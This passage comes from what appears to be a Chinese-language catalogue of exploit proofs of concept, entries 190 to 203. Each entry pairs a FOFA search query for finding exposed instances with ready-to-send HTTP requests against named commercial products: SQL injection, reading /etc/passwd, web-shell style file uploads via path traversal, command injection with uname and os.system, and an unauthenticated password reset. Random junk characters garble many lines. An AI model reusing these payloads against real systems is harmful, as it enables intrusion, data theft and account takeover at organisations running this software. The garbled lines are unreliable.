GET /xds/deleteStudy.php?documentUniqueId=1%27;WAITFOR%20DELAY%20%270:0:5%27-- HTTP/1.1
Host: your-ip
& }* K9 C" a: c. t' |User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
- I6 _% U5 b" K+ @# h% {! c; r( pAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
5 A5 x! M4 m+ z) R  J5 OAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
9 J2 q. n% `6 q7 A' Q- \4 |+ ZConnection: close
7 c6 j9 f* o. z( _  K+ x
# R4 R3 r8 C& F& e2 O6 d
190. 短视频矩阵营销系统 poihuoqu 任意文件读取
FOFA：title=="短视频矩阵营销系统"
/ C9 {& Q6 F0 ^- {POST /index.php/admin/Userinfo/poihuoqu HTTP/2
Host: your-ip
, _( k, N& r4 Q! w. ]User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.54 Safari/537.36
$ I$ Q' y5 v3 s- g, W9 ?Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Content-Type: application/x-www-form-urlencoded
. U' B( g: W* j3 X0 ZAccept-Encoding: gzip, deflate
* X0 L1 A/ d" z( j. `( l. VAccept-Language: zh-CN,zh;q=0.9

4 u* t8 h' S+ }: T' jpoi=file:///etc/passwd


191. 亿赛通电子文档安全管理系统 NavigationAjax SQL注入
: j) K9 S9 E5 ^7 QFOFA：body="/CDGServer3/index.jsp"
POST /CDGServer3/js/../NavigationAjax HTTP/1.1
* d! f9 g" f+ A/ ]0 x4 n* qHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded

command=nav&id=1'waitfor delay '0:0:5'--+&name=&openId=

  w' U# r3 Q0 R- R9 X1 w9 ]
192. 富通天下外贸ERP UploadEmailAttr 任意文件上传
! P' O6 e2 E, bFOFA：title="用户登录_富通天下外贸ERP"
POST /JoinfApp/EMail/UploadEmailAttr?name=.ashx HTTP/1.1
9 ]' F* \3 R; R8 L, {# NHost: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36(KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
9 g* p$ ~5 N8 e/ uContent-Type: application/x-www-form-urlencoded


<% @ webhandler language="C#" class="AverageHandler" %>
; o9 b5 G& d6 T4 x( ]using System;
using System.Web;
$ F- }5 H1 U4 i$ {7 [# q; D# npublic class AverageHandler : IHttpHandler
{
public bool IsReusable
{ get { return true; } }
public void ProcessRequest(HttpContext ctx)
8 p$ H2 O1 u/ J) e  k{
ctx.Response.Write("test");
0 |6 ~8 X9 x- d% M8 J}
, d% n. l# k* f! K/ b}
4 Z0 t) H  r- k  t6 X
; n% ?' Q$ C1 N" ~8 X2 g
1 T$ R/ ]# [9 h* R5 j3 T& ~193. 山石网科云鉴安全管理系统 setsystemtimeaction 命令执行
' q, E! i+ x5 UFOFA：body="山石云鉴主机安全管理系统"
" c% f5 v! D- K* aGET /master/ajaxActions/getTokenAction.php HTTP/1.1
Host:
$ s" g8 Q* b5 a* W, S9 k  ^0 v2 yCookie: PHPSESSID=2333333333333;
Content-Type: application/x-www-form-urlencoded
- `' J6 s4 Y/ ~1 k3 a: gUser-Agent: Mozilla/5.0

! Y. _% Y, o5 r
$ M' p5 R9 L9 M  c5 E  h& _POST /master/ajaxActions/setSystemTimeAction.php?token_csrf={{token}} HTTP/1.1
* |2 i0 z& `+ {& A$ Y3 |Host:
8 E3 S5 a- X' z+ rUser-Agent: Mozilla/5.0
Accept-Encoding: gzip, deflate
0 a- ]. }+ t" T2 oAccept: */*
# {# |; @; c/ G/ ]( E+ KConnection: close
3 p- C# H  y7 O3 Y* vCookie: PHPSESSID=2333333333333;
2 `) U% J) c/ E* V0 O, f' U; sContent-Type: application/x-www-form-urlencoded
( m3 u% P& w, a9 v1 tContent-Length: 84
$ ?1 E) c! f& w1 B. j/ M! E
3 x! h) o) H! Y  m5 eparam=os.system('echo 23333333333456 > /opt/var/majorsec/installation/master/runtime/img/config')

$ b$ r4 h8 o; ]/ u+ [
5 t$ y6 N4 n# rGET /master/img/config HTTP/1.1
% A) `9 [# `$ E' {Host:
. @! V- f: Z; k" m- JUser-Agent: Mozilla/5.0


5 m" r3 v; P7 _" k; m194. 飞企互联-FE企业运营管理平台 uploadAttachmentServlet 任意文件上传
* Y2 T9 x. k! F  e! y. BFOFA：app="FE-协作平台"访问 /servlet/uploadAttachmentServlet 有返回则漏洞存在
) l  X7 m7 X1 ^2 o: |% z$ F
- ^+ N  j' D2 l) o. z- pPOST /servlet/uploadAttachmentServlet HTTP/1.1
Host: host
/ g% U, ^  u) N" p  D% QUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36
/ d7 x3 z3 E$ U- x6 T  m& M% U+ lAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
5 @/ y* g  n/ hAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
5 G* P' N1 }" Z! U4 m" gContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryKNt0t4vBe8cX9rZk
) M6 ]  Q2 C. z4 @$ H------WebKitFormBoundaryKNt0t4vBe8cX9rZk
% f% b9 K, [- {$ V7 U  {
6 Z6 j, k' S* Z. ?* l) L! ~Content-Disposition: form-data; name="uploadFile"; filename="../../../../../jboss/web/fe.war/hello.jsp"
0 o- v# n+ n% A- s. i2 BContent-Type: text/plain
<% out.println("hello");%>
------WebKitFormBoundaryKNt0t4vBe8cX9rZk
Content-Disposition: form-data; name="json"
{"iq":{"query":{"UpdateType":"mail"}}}
------WebKitFormBoundaryKNt0t4vBe8cX9rZk--


195. 飞鱼星上网行为管理系统 send_order.cgi命令执行
FOFA：title=="飞鱼星企业级智能上网行为管理系统
& F& A+ J% ]3 N( D2 j/ tPOST /send_order.cgi?parameter=operation HTTP/1.1
: W  G5 {0 M: T3 e: ZHost: 127.0.0.1
- C+ f$ a! \+ ?# {+ qPragma: no-cache
, _3 Z* k+ Z/ `3 N0 PCache-Control: no-cache
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
* c5 ~1 p2 ?$ a/ i# H: sAccept: */*
Accept-Encoding: gzip, deflate
" W7 f; d) K2 T1 G% GAccept-Language: zh-CN,zh;q=0.9
Connection: close
- ]$ V6 |# F. W- ~! _Content-Type: application/x-www-form-urlencoded
Content-Length: 68
- b( Z8 R( u* x1 Q
, c6 w0 Z4 a" ~, f0 d" m{"opid":"777777777777777777","name":";uname -a;echo ","type":"rest"}

/ r& B  G5 V/ o& A
196. 河南省风速科技统一认证平台密码重置
FOFA：body="/cas/themes/zbvc/js/jquery.min.js"
# q# Z& V+ D/ f: F" E3 {$ l1 K* IPOST /cas/userCtl/resetPasswordBySuper HTTP/1.1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
8 v7 G; w% w  Q2 S* l& RContent-Type: application/json;charset=UTF-8
7 F( _* j7 B; q  ?# EX-Requested-With: XMLHttpRequest
Host:
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
Content-Length: 45
Connection: close

$ R; Q. Y" H7 z( e+ b{"xgh":"test","newPass":"test666","email":""}
7 F5 m# K+ Y1 r# j2 L# N0 ~3 X! f3 y8 Q
3 s; I, i- {% ?& O
/ @' f1 H( K; |9 u4 d2 |# U- _
197. 浙大恩特客户资源管理系统-Quotegask_editAction存在SQL注入
FOFA：app="浙大恩特客户资源管理系统"
GET /entsoft/Quotegask_editAction.entweb;.js?goonumStr=1')+UNION+ALL+SELECT+111*111--+&method=goonumIsExist HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2656.18 Safari/537.36
6 O, I4 @6 S8 l" N$ k6 xAccept-Encoding: gzip, deflate
2 X' |. ]$ w& XConnection: close

+ k" o! ~9 i' }/ L: ]( V

198.  阿里云盘 WebDAV 命令注入
CVE-2024-29640
) a6 h' j' a* U3 T  Z- ~2 R7 iGET /cgi-bin/luci/admin/services/aliyundrive-webdav/query?sid=%60%6c%73%20%2f%3e%2f%77%77%77%2f%61%61%61%2e%74%78%74%60%20 HTTP/1.1
Cookie: sysauth=41273cb2cffef0bb5d0653592624cf64
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Connection: close
9 L& c9 ?2 v4 o3 O* ^* G; N
3 K5 B% H( k7 ~9 t" |. ^1 O4 U
4 n( p: G/ M- |* _; M199. cockpit系统assetsmanager_upload接口 文件上传

1.执行poc进行csrf信息获取，并获取cookie，再上传访问得到结果：
GET /auth/login?to=/ HTTP/1.1
( o  x* q) o% @+ v4 E5 d4 k
响应：200，返回值:csfr:"eyJ0eXAi0iJKV1QiLCJhbGci0iJIUsI1NiJ9.eyJjc2ZyIjoibG9naW4ifQ.6KvuRJo3-Dp2UouwGH9D8cmnXEL4NGNen9CX3ex86cw"

2.使用刚才上一步获取到的jwt获取cookie：

$ s1 p1 C) Y. e9 t' |2 [* Q9 uPOST /auth/check HTTP/1.1
Content-Type: application/json
* F$ D  W: a, H  T
{"auth":{"user":"admin","password":"admin"},"csfr":"eyJ0eXAi0iJKV1QiLCJhbGci0iJIUsI1NiJ9.eyJjc2ZyIjoibG9naW4ifQ.6KvuRJo3-Dp2UouwGH9D8cmnXEL4NGNen9CX3ex86cw"}

响应：200，返回值:
Set-Cookie:mysession=95524f01e238bf51bb60d77ede3bea92: path=/
Fofa：title="Authenticate Please!"
2 o! X& f/ h( i" o: MPOST /assetsmanager/upload HTTP/1.1
( A7 B( E  Z6 wContent-Type: multipart/form-data; boundary=---------------------------36D28FBc36bd6feE7Fb3
( M3 R$ b& T) g# x8 y' Y. }0 [Cookie: mysession=95524f01e238bf51bb60d77ede3bea92

" b+ L% c8 c7 n' w/ [-----------------------------36D28FBc36bd6feE7Fb3
2 g  Q. V3 I0 c6 ]$ y7 tContent-Disposition: form-data; name="files[]"; filename="tttt.php"
Content-Type: text/php
% V: v  v/ L; P! E1 w: u
<?php echo "tttt";unlink(__FILE__);?>
. W3 C9 c: X; _7 ?+ b3 B-----------------------------36D28FBc36bd6feE7Fb3
Content-Disposition: form-data; name="folder"
$ \# b7 k% d$ X' h8 A; @
-----------------------------36D28FBc36bd6feE7Fb3--
& S2 G) z5 ^# [, ?

/storage/uploads/tttt.php

+ N; V, l; E, T- n! w& a, u- Q8 s6 K200. SeaCMS海洋影视管理系统dmku SQL注入
FOFA：app="海洋CMS"
; ?. U7 G/ x% \GET /js/player/dmplayer/dmku/?ac=del&id=(select(0)from(select(sleep(5)))v)&type=list HTTP/1.1
Cookie: PHPSESSID=hlfl5flck9q3ng1blehhv86s4s
$ ]6 x9 s4 p( \; E" b6 U( w% U. fUpgrade-Insecure-Requests: 1
Cache-Control: max-age=0
7 x3 l+ t$ V- C9 hAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
6 ?2 P$ a$ v7 DAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9


201. 方正全媒体新闻采编系统 binary SQL注入
FOFA：body="/newsedit/newsedit/" || app="FOUNDER-全媒体采编系统"
* }. r  n7 G  Y$ R* v6 HPOST /newsedit/newsplan/task/binary.do HTTP/1.1
/ S$ K! X: O! K+ sContent-Type: application/x-www-form-urlencoded
6 x) H1 b+ J: S6 JAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
& P& ^$ f" {4 q: AAccept-Language: zh-CN,zh;q=0.9
Connection: close
* j/ H! m) x% H1 {
% I4 s6 _1 j4 ~9 HTableName=DOM_IMAGE+where+REFID%3D-1+union+select+%271%27%3B+WAITFOR+DELAY+%270%3A0%3A5%27%3Bselect+DOM_IMAGE+from+IMG_LARGE_PATH&FieldName=IMG_LARGE_PATH&KeyName=REFID&KeyID=1


202. 微擎系统 AccountEdit任意文件上传
FOFA：body="/Widgets/WidgetCollection/"
: S7 m, `9 @# e获取__VIEWSTATE和__EVENTVALIDATION值
. K( [- Z9 f  M) @/ b7 bGET /User/AccountEdit.aspx HTTP/1.1
/ }9 P4 Y4 v# QHost: 滑板人之家
9 i+ v0 E8 Z' F  ^+ J4 s+ |User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/531.36 (KHTML, like Gecko) Chrome/83.0.4103.112 Safari/537.31
4 t; `2 U% L- b  b+ c. ~1 xContent-Length: 0

* N& |) K2 D4 I+ u; E
. v6 L* [5 C% p" L* g替换__VIEWSTATE和__EVENTVALIDATION值
5 i  x5 s8 {1 v* lPOST /User/AccountEdit.aspx HTTP/1.1
. ~6 Q, L7 i% @% B& }+ V- NAccept-Encoding: gzip, deflate, br
  C7 b7 b$ R7 `: c0 j) X4 u6 TContent-Type: multipart/form-data;boundary=---------------------------786435874t38587593865736587346567358735687

+ n! {0 t' f) `$ M7 Q-----------------------------786435874t38587593865736587346567358735687
Content-Disposition: form-data; name="__VIEWSTATE"
5 _6 ^, i; a3 ~% j/ {7 h' H
__VIEWSTATE
' `. @& Y5 D- Z( ?0 J. |/ y-----------------------------786435874t38587593865736587346567358735687
Content-Disposition: form-data; name="__EVENTVALIDATION"

__EVENTVALIDATION
-----------------------------786435874t38587593865736587346567358735687
Content-Disposition: form-data; name="ctl00$MyContentPlaceHolder$ctl00$upload"; filename="1123.txt"
* \/ f5 }" D9 `$ ~Content-Type: text/plain

2 r9 A* u8 M4 o9 p  [6 EHello World!
-----------------------------786435874t38587593865736587346567358735687
Content-Disposition: form-data; name="ctl00$MyContentPlaceHolder$ctl00$bttnUpload"
) k+ {. ^' l8 k- I& Z8 ]
& n* }+ t/ G) h上传图片
-----------------------------786435874t38587593865736587346567358735687
1 R* d0 C2 ?. WContent-Disposition: form-data; name="ctl00$MyContentPlaceHolder$ctl00$txtLastName"
5 i0 Z. c5 z4 ^! B$ M' T( s" E
) @3 K, G1 t; S2 k* I
-----------------------------786435874t38587593865736587346567358735687
Content-Disposition: form-data; name="ctl00$MyContentPlaceHolder$ctl00$txtEmail"
$ w7 u) |$ z7 v( E# {

-----------------------------786435874t38587593865736587346567358735687--
+ K$ i; a5 I5 q+ T
5 `* j* l" f& Z  s6 d3 X! [
; L8 f( D) W5 h- R( `4 M& n/_data/Uploads/1123.txt

, O$ p1 Y4 z- O7 k# I& r203. 红海云EHR PtFjk 文件上传
8 A6 ?3 U3 |* |  `. t5 S: IFOFA：body="RedseaPlatform"
2 V$ B2 j& D) G7 d5 z: |2 WPOST /RedseaPlatform/PtFjk.mob?method=upload HTTP/1.1
Host: x.x.x.x
" R' v3 p4 m0 h# ^Accept-Encoding: gzip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryt7WbDl1tXogoZys4
: F  J7 Z3 _: D7 w) O! v( c9 E- dContent-Length: 210

------WebKitFormBoundaryt7WbDl1tXogoZys4
0 W$ A- |6 H2 \1 `( L# y" v+ TContent-Disposition: form-data; name="fj_file"; filename="11.jsp"
Content-Type:image/jpeg
# d9 Q; ?& D* k: `# `
5 a0 O0 E* n' A2 z( `<% out.print("hello,eHR");%>
------WebKitFormBoundaryt7WbDl1tXogoZys4--
, _9 S, X1 ^' c8 y  n
( {* s+ ?2 v+ d2 o3 m6 c


& Q8 [0 v/ M: G' E$ G
' y! C4 v, N: R
: E1 o2 G, R# D( @5 _7 q1 D